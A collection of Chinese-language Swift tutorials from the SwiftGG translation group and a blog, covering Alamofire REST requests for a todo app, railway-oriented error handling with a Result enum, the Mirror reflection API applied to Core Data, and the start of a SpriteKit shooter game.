            if let JSON = response.result.value {
                self.jsonArray = JSON as? NSMutableArray
                for item in self.jsonArray! {
                    print(item["name"]!)
                    let string = item["name"]!
                    print("String is \(string!)")

                    self.newArray.append(string! as! String)
                }
                print("New array is \(self.newArray)")
                self.tableView.reloadData()
            }
        }

    }


现在，在 viewWillAppear() 方法里调用这个方法，如下。


override func viewWillAppear(animated: Bool) {
   self.downloadAndUpdate()
}


如果你再次编译并运行这个应用，就会发现每次添加新的 todo 后都会重新加载。但是，这是为什么呢？

这就关系到 view controller 的生命周期，这里我就简短讨论一下。viewDidLoad() 会在 view 初始化后并且所有控件都结束加载后被调用。问题就出在，当你从已经加载的 ViewController 上加载另外一个 view（比如 AppViewController）时，viewDidLoad 方法不会被调用（之前已经初始化过）。viewWillAppear 方法会在每次 view 在屏幕上显示时调用。因为我们需要在再次显示 ViewController.swift 时候显示，所以这个方法刚好可用。

Alamofire DELETE 请求

现在在刚才的 newArray 下面添加一个 IDArray。


var IDArray: Array<String> = []


接下来，更新 downloadAndUpdate 方法的相应部分，代码如下。


self.newArray.removeAll() // NEW
self.IDArray.removeAll() // NEW

Alamofire.request(.GET, "https://rocky-meadow-1164.herokuapp.com/todo") .responseJSON { response in
            print(response.request)  // original URL request
            print(response.response) // URL response
            print(response.data)     // server data
            print(response.result)   // result of response serialization

            if let JSON = response.result.value {
                self.jsonArray = JSON as? NSMutableArray
                for item in self.jsonArray! {
                    print(item["name"]!)
                    let string = item["name"]!
                    let ID = item["_id"]! // NEW

                    self.newArray.append(string! as! String)
                    self.IDArray.append(ID! as! String) // NEW
                }
                print("New array is \(self.newArray)")
                self.tableView.reloadData()
            }
        }


两行带有 NEW 注释的代码是新添加的。从代码的本质上来说，我们在循环中获得对应的 ID 并保存到数组 IDArray 中。同样，我们也需要将不需要的数据从列表中删除并重置。

添加 commitEditingStyle 方法，以调用 DELETE 请求来删除对应的不需要数据。


func tableView(tableView: UITableView, commitEditingStyle editingStyle: UITableViewCellEditingStyle, forRowAtIndexPath indexPath: NSIndexPath) {
        if editingStyle == .Delete {
            print("ID is \(self.IDArray[indexPath.row])")

            Alamofire.request(.DELETE, "https://rocky-meadow-1164.herokuapp.com/todo/\(self.IDArray[indexPath.row])")
            self.downloadAndUpdate()
            
        } else if editingStyle == .Insert {
            // Create a new instance of the appropriate class, insert it into the array, and add a new row to the table view
        }
    }


正如你看到的，以上代码遵循了我们应用的 API，即通过传入 /todo/ID 来调用 DELETE 请求删除对应的数据。

同时，我们用比较简单的 Alamofire 方法来调用 DELETE 请求并删除了对应的数据。

至此，你现在已经拥有了一个功能完备的 todo 应用了。因此，让我们来总结一下本次教程吧。

小结

本教程探索了很多东西。从 Javascript 的 node 到 express，从 MongoDB 到 cURL，从终端到 Cocoapods，以及最后的 Alamofire，我们深入了解了 REST API 的创建过程和网络的工作流程。你通过本次教程应该已经坚实的掌握了以下内容：


	构建 API


	部署 API


	写客户端应用


	使用 HTTP 请求


	使用 Cocoapods


	使用 cURL


	使用 node 和 MongoDB/Express


	使用 Express 做路由


	使用 Alamofire




这真是一个大教程，我感谢你坚持和我走到这里。所有的源代码可以在这里下载，其中包含了 node 应用和 iOS 应用。

有任何问题和想法都可以在教程下面留言评论。下次见！

本文由 SwiftGG 翻译组翻译，已经获得作者翻译授权，最新文章请访问 http://swift.gg。




 Swift41/90Days - 面向轨道编程 - Swift 中的异常处理

作者：callmewhy

来源： Swift41/90Days - 面向轨道编程 - Swift 中的异常处理



                    
问题


在开发过程中，异常处理算是比较常见的问题了。


举一个比较常见的例子：用户修改注册的邮箱，大概分为以下几个步骤：



	接收到一个用户的请求：我要修改邮箱地址

	验证一下请求是否合法，将请求进行格式转化

	更新以前的邮箱地址记录

	给新的邮箱地址发送验证邮件

	将结果返回给用户



上面的步骤如果一切顺利，那代码肯定干净利落，但是人生不如意十有八九，上面的步骤很容易出现问题：



	用户把邮箱地址填成了家庭地址

	用户是个黑客，没登录就发送了更新请求

	发送验证邮件的时候服务器爆炸了，发送邮件失败



各种异常都会导致这次操作的失败。


方案一


在传统的处理方案里，一般是遇到异常就往上抛：





这种方案想必大家都不陌生，比如下面这段代码：


NSError *err = nil;
CGFloat result = [MathTool divide:2.5 by:3.0 error:&err];

if (err) {
    NSLog(@"%@", err)
} else {
    [MathTool doSomethingWithResult:result]
}



方案二


而另一种方案，则是将错误的结果继续往后传，在最后统一处理：





这种方案有两个问题：



	在发生异常的时候，如何把异常继续传给下面的函数？

	当整个流程结束的时候，一个函数如何输出多个结果？



车轨


我们把方案二抽象出来，就像是一段车轨：





对于同一个输入，会有 Success 和 Failure 两种输出结果，对于 Success 的情况，我们希望它能继续走到后面的流程里，而对于 Failure 的情况，它怎么处理并不重要，我们希望它能避开后面的流程：





于是乎，两段车轨拼接的时候，便成了这样：





那么三段什么的自然也不在话下了。我们把下面那根 Failure 的线路扩展一下，便会看到两条平行的线路，这便是“双轨模型” (Two Track Model) ，这是用“面向轨道编程”思想解决异常处理的理论基础。





这就是 “面向轨道编程” 。一开始我觉得这概念应该只是来搞笑的，仔细想想似乎倒也是很贴切。将事件流当做两条平行的轨道，如果顺利则在上行轨道，继续传递给下个业务逻辑去处理，如果出现异常也不慌，直接扔到下行轨道，一直在下行轨道传递到终点，在最后统一处理。


这样处理使得整个流程变成了一条双进双出的流水线，有点像是 shell 里的 pipeline ，上一次的输出作为下一次的输入，十分顺畅。而且拼接起来也很方便，我们可以把三段拼接成一段暴露给其他对象使用：





实现


接下来看看在 Swift 中如何应用这种思路处理异常。


首先我们需要两种类型的输出结果：



	成功，返回某种类型的值

	失败，返回一个 Error 对象或者失败的具体信息



照着这个想法，我们可以定义一个 Result 枚举用做输出：


enum Result<T> {
    case Success(T)
    case Failure(String)
}



利用 Swift 的枚举特性，我们可以在成功的枚举值里关联一些返回值，然后在失败的情况下则带上失败的消息内容。不过 enum 目前还不支持泛型，我们可以在外面封装一个 Box 类来解决这个问题：


final class Box<T> {
    let value: T
    init(value: T) {
        self.value = value
    }
}

enum Result<T> {
    case Success(Box<T>)
    case Failure(String)
}



再看下一开始我们举的那个例子，用这个枚举类重新写下就是这样的：


var result = divide(2.5, by:3)
switch result {
case .Success(let value):
    doSomethingWithResult(value)
case .Failure(let errString):
    println(errString)
}



“看起来好像也没什么嘛，你不还是用了个大括号处理两种情况嘛！”（嫌弃脸


确实正如这位热情的朋友所说，写完这个例子我也没觉得有什么优点，难道我就是来搞笑的？


“并不。”（严肃脸


栗子


接下来我们举个栗子玩一玩。为了更好的观赏效果，请允许我使用浮夸的写法和粗暴的命名举这个栗子。


比如对于即将输入的数字 x ，我们希望输出 4 / (2 / x - 1) 的计算结果。这里会有两处出错的可能，一个是 (2 / x) 时 x 为 0 ，另一个就是 (2 / x - 1) 为 0 的情况。


先看下传统写法：


let errorStr = "输入错误，我很抱歉"
func cal(value: Float) {
    if value == 0 {
        println(errorStr)
    } else {
        let value1 = 2 / value
        let value2 = value1 - 1
        if value2 == 0 {
            println(errorStr)
        } else {
            let value3 = 4 / value2
            println(value3)
        }
    }
}
cal(2)    // 输入错误，我很抱歉
cal(1)    // 4.0
cal(0)    // 输入错误，我很抱歉



那么用面向轨道的思想怎么去解决这个问题呢？


大概是这个样子的：


final class Box<T> {
    let value: T
    init(value: T) {
        self.value = value
    }
}

enum Result<T> {
    case Success(Box<T>)
    case Failure(String)
}

let errorStr = "输入错误，我很抱歉"

func cal(value: Float) {
    func cal1(value: Float) -> Result<Float> {
        if value == 0 {
            return .Failure(errorStr)
        } else {
            return .Success(Box(value: 2 / value))
        }
    }
    func cal2(value: Result<Float>) -> Result<Float> {
        switch value {
        case .Success(let v):
            return .Success(Box(value: v.value - 1))
        case .Failure(let str):
            return .Failure(str)
        }
    }
    func cal3(value: Result<Float>) -> Result<Float> {
        switch value {
        case .Success(let v):
            if v.value == 0 {
                return .Failure(errorStr)
            } else {
                return .Success(Box(value: 4 / v.value))
            }
        case .Failure(let str):
            return .Failure(str)
        }
    }

    let r = cal3(cal2(cal1(value)))
    switch r {
    case .Success(let v):
        println(v.value)
    case .Failure(let s):
        println(s)
    }   
}
cal(2)    // 输入错误，我很抱歉
cal(1)    // 4.0
cal(0)    // 输入错误，我很抱歉



同学，放下手里的键盘，冷静下来，有话好好说。


反思


面向轨道之后，代码量翻了两倍多，而且~~似乎~~变得更难读了。浪费了大家这么多时间结果就带来这么个玩意儿，实在是对不起观众们热情的掌声。


仔细看下上面的代码， switch 的操作重复而多余，都在重复着把 Success 和 Failure 分开的逻辑，实际上每个函数只需要处理 Success 的情况。我们在 Result 中加入 funnel 提前处理掉 Failure 的情况：


enum Result<T> {
    case Success(Box<T>)
    case Failure(String)

    func funnel<U>(f:T -> Result<U>) -> Result<U> {
        switch self {
        case Success(let value):
            return f(value.value)
        case Failure(let errString):
            return Result<U>.Failure(errString)
        }
    }
}



接下来再回到栗子里，此时我们已经不再需要传入 Result 值了，只需要传入 value 即可：


func cal(value: Float) {
    func cal1(v: Float) -> Result<Float> {
        if v == 0 {
            return .Failure(errorStr)
        } else {
            return .Success(Box(2 / v))
        }
    }

    func cal2(v: Float) -> Result<Float> {
        return .Success(Box(v - 1))
    }

    func cal3(v: Float) -> Result<Float> {
        if v == 0 {
            return .Failure(errorStr)
        } else {
            return .Success(Box(4 / v))
        }
    }

    let r = cal1(value).funnel(cal2).funnel(cal3)
    switch r {
    case .Success(let v):
        println(v.value)
    case .Failure(let s):
        println(s)
    }
}



看起来简洁了一些。我们可以通过 cal1(value).funnel(cal2).funnel(cal3) 这样的链式调用来获取计算结果。


funnel 起到了一个什么作用呢？它帮我们把上次的结果进行分流，只将 Success 的轨道对接到了下个业务上，而将 Failure 引到了下一个 Failure 轨道上。也就是说具体的业务只需要处理灰色部分的逻辑：





“面向轨道”编程确实给我们提供了一个很有趣的思路。本文只是一个简单地讨论，进一步学习可以仔细阅读后面的参考文献。比如 ValueTransformation.swift 这个真实的完整案例，以及 antitypical/Result 这个封装完整的 Result 库。文中的实现方案只是一个比较简单的方法，和前两种实现略有差异。


面向铁轨，春暖花开。愿每段代码都走在 Happy Path 上，愿每个人都有个 Happy Ending 。
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尽管 Swift 一直在强调强类型、编译时安全和静态调度，但它的标准库仍然提供了反射机制。可能你已经在很多博客文章或者类似Tuples、Midi Packets 和 Core Data 的项目中见过它。也许你刚好对在项目中使用反射机制感兴趣，或者你想更好的了解反射可以应用的领域，那这篇文章就正是你需要的。文章的内容是基于我在德国法兰克福 Macoun会议上的一次演讲，它对 Swift 的反射 API 做了一个概述。

API 概述

理解这个主题最好的方式就是看 API，看它都提供了什么功能。

Mirror

Swift 的反射机制是基于一个叫 Mirror 的 struct 来实现的。你为具体的 subject 创建一个 Mirror，然后就可以通过它查询这个对象 subject 。

在我们创建 Mirror 之前，我们先创建一个可以让我们当做对象来使用的简单数据结构。


import Foundation.NSURL // [译者注]此处应该为import Foundation

public class Store {
    let storesToDisk: Bool = true
}
public class BookmarkStore: Store {
    let itemCount: Int = 10
}
public struct Bookmark {
   enum Group {
      case Tech
      case News
   }
   private let store = {
       return BookmarkStore()
   }()
   let title: String?
   let url: NSURL
   let keywords: [String]
   let group: Group
}

let aBookmark = Bookmark(title: "Appventure", url: NSURL(string: "appventure.me")!, keywords: ["Swift", "iOS", "OSX"], group: .Tech)


创建一个 Mirror


创建 Mirror 最简单的方式就是使用 reflecting 构造器：


public init(reflecting subject: Any)


然后在 aBookmark struct 上使用它：


let aMirror = Mirror(reflecting: aBookmark)
print(aMirror)
// 输出 : Mirror for Bookmark


这段代码创建了 Bookmark 的 Mirror。正如你所见，对象的类型是 Any。这是 Swift 中最通用的类型。Swift 中的任何东西至少都是 Any 类型的1。这样一来 mirror 就可以兼容 struct, class, enum, Tuple, Array, Dictionary, set 等。

Mirror 结构体还有另外三个构造器，然而这三个都是在你需要自定义 mirror 这种情况下使用的。我们会在接下来讨论自定义 mirror 时详细讲解这些额外的构造器。


Mirror 中都有什么？

Mirror struct 中包含几个 types 来帮助确定你想查询的信息。

第一个是 DisplayStyle enum，它会告诉你对象的类型：


public enum DisplayStyle {
    case Struct
    case Class
    case Enum
    case Tuple
    case Optional
    case Collection
    case Dictionary
    case Set
}


这些都是反射 API 的辅助类型。正如之前我们知道的，反射只要求对象是 Any 类型，而且Swift 标准库中还有很多类型为 Any 的东西没有被列举在上面的 DisplayStyle enum 中。如果试图反射它们中间的某一个又会发生什么呢？比如 closure。


let closure = { (a: Int) -> Int in return a * 2 }
let aMirror = Mirror(reflecting: closure)


在这种情况下，这里你会得到一个 mirror，但是 DisplayStyle 为 nil 2

也有提供给 Mirror 的子节点使用的 typealias：


public typealias Child = (label: String?, value: Any)


所以每个 Child 都包含一个可选的 label 和 Any 类型的 value。为什么 label 是 Optional 的？如果你仔细考虑下，其实这是非常有意义的，并不是所有支持反射的数据结构都包含有名字的子节点。 struct 会以属性的名字做为 label，但是 Collection 只有下标，没有名字。Tuple 同样也可能没有给它们的条目指定名字。

接下来是 AncestorRepresentation enum 3：


public enum AncestorRepresentation {
    /// 为所有 ancestor class 生成默认 mirror。
    case Generated
    /// 使用最近的 ancestor 的 customMirror() 实现来给它创建一个 mirror。    
    case Customized(() -> Mirror)
    /// 禁用所有 ancestor class 的行为。Mirror 的 superclassMirror() 返回值为 nil。
    case Suppressed
}


这个 enum 用来定义被反射的对象的父类应该如何被反射。也就是说，这只应用于 class 类型的对象。默认情况（正如你所见）下 Swift 会为每个父类生成额外的 mirror。然而，如果你需要做更复杂的操作，你可以使用 AncestorRepresentation enum 来定义父类被反射的细节。我们会在下面的内容中进一步研究这个。

如何使用一个 Mirror


现在我们有了给 Bookmark 类型的对象aBookmark 做反射的实例变量 aMirror。可以用它来做什么呢？

下面列举了 Mirror 可用的属性 / 方法：


	let children: Children：对象的子节点。


	displayStyle: Mirror.DisplayStyle?：对象的展示风格


	let subjectType: Any.Type：对象的类型


	func superclassMirror() -> Mirror?：对象父类的 mirror




下面我们会分别对它们进行解析。

displayStyle

很简单，它会返回 DisplayStyle enum 的其中一种情况。如果你想要对某种不支持的类型进行反射，你会得到一个空的 Optional 值（这个之前解释过）。


print (aMirror.displayStyle)
// 输出: Optional(Swift.Mirror.DisplayStyle.Struct)
// [译者注]此处输出：Optional(Struct)


children

这会返回一个包含了对象所有的子节点的 AnyForwardCollection<Child>。这些子节点不单单限于 Array 或者 Dictionary 中的条目。诸如 struct 或者 class 中所有的属性也是由 AnyForwardCollection<Child> 这个属性返回的子节点。AnyForwardCollection 协议意味着这是一个支持遍历的 Collection 类型。


for case let (label?, value) in aMirror.children {
    print (label, value)
}
//输出:
//: store main.BookmarkStore
//: title Optional("Appventure")
//: url appventure.me
//: keywords ["Swift", "iOS", "OSX"]
//: group Tech


SubjectType

这是对象的类型：


print(aMirror.subjectType)
//输出 : Bookmark
print(Mirror(reflecting: 5).subjectType)
//输出 : Int
print(Mirror(reflecting: "test").subjectType)
//输出 : String
print(Mirror(reflecting: NSNull()).subjectType)
//输出 : NSNull


然而，Swift 的文档中有下面一句话：

"当 self 是另外一个 mirror 的 superclassMirror() 时，这个类型和对象的动态类型可能会不一样。"



SuperclassMirror

这是我们对象父类的 mirror。如果这个对象不是一个类，它会是一个空的 Optional 值。如果对象的类型是基于类的，你会得到一个新的 Mirror：


// 试试 struct
print(Mirror(reflecting: aBookmark).superclassMirror())
// 输出: nil
// 试试 class
print(Mirror(reflecting: aBookmark.store).superclassMirror())
// 输出: Optional(Mirror for Store)


实例


Struct 转 Core Data


假设我们在一个叫 Books Bunny 的新兴高科技公司工作，我们以浏览器插件的方式提供了一个人工智能，它可以自动分析用户访问的所有网站，然后把相关页面自动保存到书签中。

现在是 2016 年，Swift 已经开源，所以我们的后台服务端肯定是用 Swift 编写。因为在我们的系统中同时有数以百万计的网站访问活动，我们想用 struct 来存储用户访问网站的分析数据。不过，如果我们 AI 认定某个页面的数据是需要保存到书签中的话，我们需要使用 CoreData 来把这个类型的对象保存到数据库中。

现在我们不想为每个新建的 struct 单独写自定义的 Core Data 序列化代码。而是想以一种更优雅的方式来开发，从而可以让将来的所有 struct 都可以利用这种方式来做序列化。

那么我们该怎么做呢？

一个协议

记住，我们有一个 struct，它需要自动转换为 NSManagedObject （Core Data）。

如果我们想要支持不同的 struct 甚至类型，我们可以用协议来实现，然后确保我们需要的类型符合这个协议。所以我们假想的协议应该有哪些功能呢？


	第一，协议应该允许自定义我们想要创建的Core Data 实体的名字


	第二，协议需要提供一种方式来告诉它如何转换为 NSManagedObject。




我们的 protocol（协议） 看起来是下面这个样子的：


protocol StructDecoder {
    // 我们 Core Data 实体的名字
    static var EntityName: String { get }
    // 返回包含我们属性集的 NSManagedObject
    func toCoreData(context: NSManagedObjectContext) throws -> NSManagedObject //[译者注]使用 NSManagedObjectContext 需要 import CoreData
}


toCoreData 方法使用了 Swift 2.0 新的异常处理来抛出错误，如果转换失败，会有几种错误情况，这些情况都在下面的 ErrorType enum 进行了列举：


enum SerializationError: ErrorType {
    // 我们只支持 struct
    case StructRequired
    // 实体在 Core Data 模型中不存在
    case UnknownEntity(name: String)
    // 给定的类型不能保存在 core data 中
    case UnsupportedSubType(label: String?)
}


上面列举了三种转换时需要注意的错误情况。第一种情况是我们试图把它应用到非 struct 的对象上。第二种情况是我们想要创建的 entity 在 Core Data 模型中不存在。第三种情况是我们想要把一些不能存储在 Core Data 中的东西保存到 Core Data 中（即 enum）。

让我们创建一个 struct 然后为其增加协议一致性：

Bookmark struct


struct Bookmark {
   let title: String
   let url: NSURL
   let pagerank: Int
   let created: NSDate
}


接下来，我们要实现 toCoreData 方法。

协议扩展

当然我们可以为每个 struct 都写新的 toCoreData 方法，但是工作量很大，因为 struct 不支持继承，所以我们不能使用基类的方式。不过我们可以使用 protocol extension 来扩展这个方法到所有相符合的 struct：


extension StructDecoder {
    func toCoreData(context: NSManagedObjectContext) throws -> NSManagedObject {
    }
}


因为扩展已经被应用到相符合的 struct，这个方法就可以在 struct 的上下文中被调用。因此，在协议中，self 指的是我们想分析的 struct。

所以，我们需要做的第一步就是创建一个可以写入我们 Bookmark struct 值的NSManagedObject。我们该怎么做呢？

一点 Core Data


Core Data 有点啰嗦，所以如果需要创建一个对象，我们需要如下的步骤：


	获得我们需要创建的实体的名字（字符串）


	获取 NSManagedObjectContext，然后为我们的实体创建 NSEntityDescription


	利用这些信息创建 NSManagedObject。




实现代码如下：


// 获取 Core Data 实体的名字
let entityName = self.dynamicType.EntityName

// 创建实体描述
// 实体可能不存在, 所以我们使用 'guard let' 来判断，如果实体
// 在我们的 core data 模型中不存在的话，我们就抛出错误 
guard let desc = NSEntityDescription.entityForName(entityName, inManagedObjectContext: context)
    else { throw UnknownEntity(name: entityName) } // [译者注] UnknownEntity 为 SerializationError.UnknownEntity

// 创建 NSManagedObject
let managedObject = NSManagedObject(entity: desc, insertIntoManagedObjectContext: context)


实现反射

下一步，我们想使用反射 API 来读取 bookmark 对象的属性然后把它写入到 NSManagedObject 实例中。


// 创建 Mirror
let mirror = Mirror(reflecting: self)

// 确保我们是在分析一个 struct
guard mirror.displayStyle == .Struct else { throw SerializationError.StructRequired }


我们通过测试 displayStyle 属性的方式来确保这是一个 struct。

所以现在我们有了一个可以让我们读取属性的 Mirror，也有了一个可以用来设置属性的 NSManagedObject。因为 mirror 提供了读取所有 children 的方式，所以我们可以遍历它们并保存它们的值。方式如下：


for case let (label?, value) in mirror.children {
    managedObject.setValue(value, forKey: label)
}


太棒了！但是，如果我们试图编译它，它会失败。原因是 setValueForKey 需要一个 AnyObject? 类型的对象，而我们的 children 属性只返回一个 (String?, Any) 类型的 tuple。也就是说 value 是 Any 类型但是我们需要 AnyObject 类型的。为了解决这个问题，我们要测试 value 的  AnyObject 协议一致性。这也意味着如果得到的属性的类型不符合 AnyObject 协议（比如 enum)，我们就可以抛出一个错误。


let mirror = Mirror(reflecting: self)

guard mirror.displayStyle == .Struct 
  else { throw SerializationError.StructRequired }

for case let (label?, anyValue) in mirror.children {
    if let value = anyValue as? AnyObject {
    managedObject.setValue(child, forKey: label) // [译者注] 正确代码为：managedObject.setValue(value, forKey: label)
    } else {
    throw SerializationError.UnsupportedSubType(label: label)
    }
}


现在，只有在 child 是 AnyObject 类型的时候我们才会调用 setValueForKey 方法。

然后唯一剩下的事情就是返回 NSManagedObject。完整的代码如下：


extension StructDecoder {
    func toCoreData(context: NSManagedObjectContext) throws -> NSManagedObject {
    let entityName = self.dynamicType.EntityName

    // 创建实体描述
    guard let desc = NSEntityDescription.entityForName(entityName, inManagedObjectContext: context)
        else { throw UnknownEntity(name: entityName) } // [译者注] UnknownEntity 为 SerializationError.UnknownEntity

    // 创建 NSManagedObject
    let managedObject = NSManagedObject(entity: desc, insertIntoManagedObjectContext: context)

    // 创建一个 Mirror
    let mirror = Mirror(reflecting: self)

    // 确保我们是在分析一个 struct
    guard mirror.displayStyle == .Struct else { throw SerializationError.StructRequired }

    for case let (label?, anyValue) in mirror.children {
        if let value = anyValue as? AnyObject {
        managedObject.setValue(child, forKey: label) // [译者注] 正确代码为：managedObject.setValue(value, forKey: label)
        } else {
        throw SerializationError.UnsupportedSubType(label: label)
        }
    }

    return managedObject
    }
}


搞定，我们现在已经把 struct 转换为 NSManagedObject 了。

性能

那么，速度如何呢？这个方法可以在生产中应用么？我做了一些测试：


创建 2000 个 NSManagedObject
原生: 0.062 seconds
反射: 0.207 seconds


这里的原生是指创建一个 NSManagedObject，然后通过 setValueForKey 设置属性值。如果你在 Core Data 内创建一个 NSManagedObject 子类然后把值直接设置到属性上（没有了动态 setValueForKey 的开销），速度可能更快。

所以正如你所见，使用反射使创建 NSManagedObject 的性能下降了3.5倍。当你在数量有限的项目上使用这个方法，或者你不关心处理速度时，这是没问题的。但是当你需要反射大量的 struct 时，这个方法可能会大大降低你 app 的性能。



自定义 Mirror


我们之前已经讨论过，创建 Mirror 还有其他的选项。这些选项是非常有用的，比如，你想自己定义 mirror 中对象的哪些部分是可访问的。对于这种情况 Mirror Struct 提供了其他的构造器。

Collection

第一个特殊 init 是为 Collection 量身定做的：


public init<T, C : CollectionType where C.Generator.Element == Child>
  (_ subject: T, children: C, 
   displayStyle: Mirror.DisplayStyle? = default, 
   ancestorRepresentation: Mirror.AncestorRepresentation = default)


与之前的 init(reflecting:) 相比，这个构造器允许我们定义更多反射处理的细节。


	它只对 Collection 有效


	我们可以设定被反射的对象以及对象的 children （Collection 的内容）





class 或者 struct


第二个可以在 class 或者 struct 上使用。


public init<T>(_ subject: T, 
  children: DictionaryLiteral<String, Any>, 
  displayStyle: Mirror.DisplayStyle? = default, 
  ancestorRepresentation: Mirror.AncestorRepresentation = default)


有意思的是，这里是由你指定对象的 children （即属性），指定的方式是通过一个 DictionaryLiteral，它有点像字典，可以直接用作函数参数。如果我们为 Bookmark struct 实现这个构造器，它看起来是这样的：


extension Bookmark: CustomReflectable {
    func customMirror() -> Mirror { // [译者注] 此处应该为 public func customMirror() -> Mirror {
    let children = DictionaryLiteral<String, Any>(dictionaryLiteral: 
    ("title", self.title), ("pagerank", self.pagerank), 
    ("url", self.url), ("created", self.created), 
    ("keywords", self.keywords), ("group", self.group))

    return Mirror.init(Bookmark.self, children: children, 
        displayStyle: Mirror.DisplayStyle.Struct, 
        ancestorRepresentation:.Suppressed)
    }
}


如果现在我们做另外一个性能测试，会发现性能甚至略微有所提升：


创建 2000 个 NSManagedObject
原生: 0.062 seconds
反射: 0.207 seconds
反射: 0.203 seconds


但这个工作几乎没有任何价值，因为它与我们之前反射 struct 成员变量的初衷是相违背的。

用例

所以留下来让我们思考的问题是什么呢？好的反射用例又是什么呢？很显然，如果你在很多 NSManagedObject 上使用反射，它会大大降低你代码的性能。同时如果只有一个或者两个 struct，根据自己掌握的struct 领域的知识编写一个序列化的方法会更容易，更高性能且更不容易让人困惑。

而本文展示反射技巧可以当你在有很多复杂的 struct ，且偶尔想对它们中的一部分进行存储时使用。

例子如下：


	设置收藏夹


	收藏书签


	加星


	记住上一次选择


	在重新启动时存储AST打开的项目


	在特殊处理时做临时存储




当然除此之外，反射当然还有其他的使用场景：


	遍历 tuples


	对类做分析


	运行时分析对象的一致性


	自动生成详细日志 / 调试信息（即外部生成对象）




讨论

反射 API 主要做为 Playground 的一个工具。符合反射 API 的对象可以很轻松滴就在 Playground 的侧边栏中以分层的方式展示出来。因此，尽管它的性能不是最优的，在 Playground 之外仍然有很多有趣的应用场景，这些应用场景我们在用例章节中都讲解过。

更多信息

反射 API 的源文件注释非常详细，我强烈建议每个人都去看看。

同时，GitHub 上的 CoreValue 项目展示了关于这个技术更详尽的实现，它可以让你很轻松滴把 struct 编码成 CoreData，或者把 CoreData 解码成  struct。

1、实际上，Any 是一个空的协议，所有的东西都隐式滴符合这个协议。
2、更确切地说，是一个空的可选类型。
3、我对注释稍微做了简化。

本文对应代码地址：下载

本文由 SwiftGG 翻译组翻译，已经获得作者翻译授权，最新文章请访问 http://swift.gg。
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拖了好久的第三篇终于开始了……
ps：由于Xcode7不支持iOS8.4，我最终换回了Yosemite和Xcode6.4，所以语法如果有所出入引起问题，可以谷歌解决或者在下面留言。

添加敌人

为了简便起见，我们将用相同的飞机作为敌人，但是方向和主角飞机相反，从上往下飞（这里解释一下，因为之前使用yScale翻转，结果导致碰撞检测时出现了很诡异的bug，暂时无解，所以我用系统内置的预览工具，将spaceship这张图片进行了上下翻转，然后另存为一个资源，具体如下图。如果有人使用scale并解决问题，可以告知一声，不胜感激）。


var enemyTime:NSTimeInterval = 1
var lastEnemy:NSTimeInterval = 0

在此之前呢，我们先把update函数清理一下。将创建子弹的代码放置到单独的函数中，同时添加创建敌人的函数：

func createBullet(){
    let bullet = SKShapeNode(rectOfSize: CGSizeMake(10, 10))
    bullet.position = CGPointMake(plane.position.x, plane.position.y + 50)
    bullet.strokeColor = UIColor.clearColor()
    bullet.fillColor = UIColor.greenColor()
    addChild(bullet)
    
    bullet.runAction(SKAction.sequence([SKAction.moveByX(0, y: size.height, duration: 2), SKAction.removeFromParent()]))
}

func createEnemy(){
    let enemy = SKSpriteNode(texture: enemyTexture)
    enemy.setScale(0.5)
    enemy.position = CGPointMake(plane.position.x, size.height)
    addChild(enemy)
    
    enemy.runAction(SKAction.sequence([SKAction.moveByX(0, y: -size.height, duration: 4), SKAction.removeFromParent()]))
}

update(){
    //添加到update函数中
    if currentTime >= lastBullet + bulletTime{
        createBullet()
        lastBullet = currentTime
    }
    
    if currentTime >= lastEnemy + enemyTime{
        createEnemy()
        lastEnemy = currentTime
        
    }
}

简洁了很多吧~!
其实和创建子弹是一样的，只不过设定初始Y坐标为屏幕高度，位移方向从上往下，也就是负的屏幕高度值。运行一下，会发现有大量飞机出现在和你相同的竖直方向上。

优化敌人

首先，敌人出现的时间间隔随机一些：

if currentTime >= lastEnemy + enemyTime{
    createEnemy()
    lastEnemy = currentTime
    enemyTime = NSTimeInterval(arc4random() % 20 + 5) / 10
    //一个神奇的经过反复测试得出的还不错的随机时间间隔
}

下一步就是将初始位置随机一些，在createEnemy函数中进行修改：

func createEnemy(){
    let enemy = SKSpriteNode(texture: enemyTexture)
    enemy.setScale(0.5)
    
    var randomX = CGFloat(arc4random()) % size.width
    
    enemy.position = CGPointMake(randomX, size.height)
    addChild(enemy)
    
    enemy.runAction(SKAction.sequence([SKAction.moveByX(0, y: -size.height, duration: 4), SKAction.removeFromParent()]))
}

用随机数对宽度取模，即可轻松搞定~
现在敌人已经成了比较完美的靶标了，准备射击！

添加物理

首先添加三个不明觉厉的后面会用到的东西

let PlayerCategory:UInt32 = 1<<1
let BulletCategory:UInt32 = 1<<2
let EnemyCategory:UInt32 = 1<<3

这个其实是碰撞标记，这篇博客里简单提到了，其实就是把需要互相碰撞的物体进行一个归类，设定和检测彼此的碰撞，并且发送碰撞消息。目前用到的标记有三个：我方飞机、子弹、敌方飞机。

先给子弹添加物理效果：

bullet.physicsBody = SKPhysicsBody(rectangleOfSize: CGSizeMake(10, 10))
bullet.physicsBody?.categoryBitMask = BulletCategory
bullet.physicsBody?.collisionBitMask = 0
bullet.physicsBody?.contactTestBitMask = EnemyCategory

分别是创建物理盒，所属标记，碰撞标记，碰撞通知标记。碰撞消息的产生不受碰撞标记设置的影响，碰撞标记只关系到是否模拟碰撞效果。物理盒大小我们可以自己设定，如果使用了纹理，也可以用纹理的size属性进行设置，就比如接下来的敌人物理盒创建。
planeTexture下面添加let enemyTexture = SKTexture(imageNamed: "Enemy")
createEnemy函数中添加：

enemy.physicsBody = SKPhysicsBody(rectangleOfSize: enemyTexture.size())
enemy.physicsBody?.categoryBitMask = EnemyCategory
enemy.physicsBody?.collisionBitMask = 0
enemy.physicsBody?.contactTestBitMask = BulletCategory

这五行添加到addChild之前即可。
接下来就是最重要的环节了，修改GameScene类定义的这一行，改为：
class GameScene: SKScene, SKPhysicsContactDelegate 
继承碰撞检测代理，然后在didMoveToView中添加：

physicsWorld.contactDelegate = self
physicsWorld.gravity = CGVectorMake(0, 0)

表示碰撞检测代理为当前世界盒，并且重力为0，保证任何物体不会向下掉落。
然后在类中任意地方添加一个函数：

func didBeginContact(contact: SKPhysicsContact) {
    if contact.bodyA.categoryBitMask | contact.bodyB.categoryBitMask == BulletCategory | EnemyCategory{
        print("enemy die")
        
        contact.bodyA.node?.removeFromParent()
        contact.bodyB.node?.removeFromParent()
    }
}

用来在碰撞发生时进行操作，首先进行判断，碰撞涉及的两个标记，是否是子弹和敌人标记。如果是，就杀死一个敌人，移除相关的子弹和击中的敌人。跑起来看看吧，已经比较完整了~

全部代码如下：

import SpriteKit

let PlayerCategory:UInt32 = 1<<1
let BulletCategory:UInt32 = 1<<2
let EnemyCategory:UInt32 = 1<<3

class GameScene: SKScene, SKPhysicsContactDelegate {
    
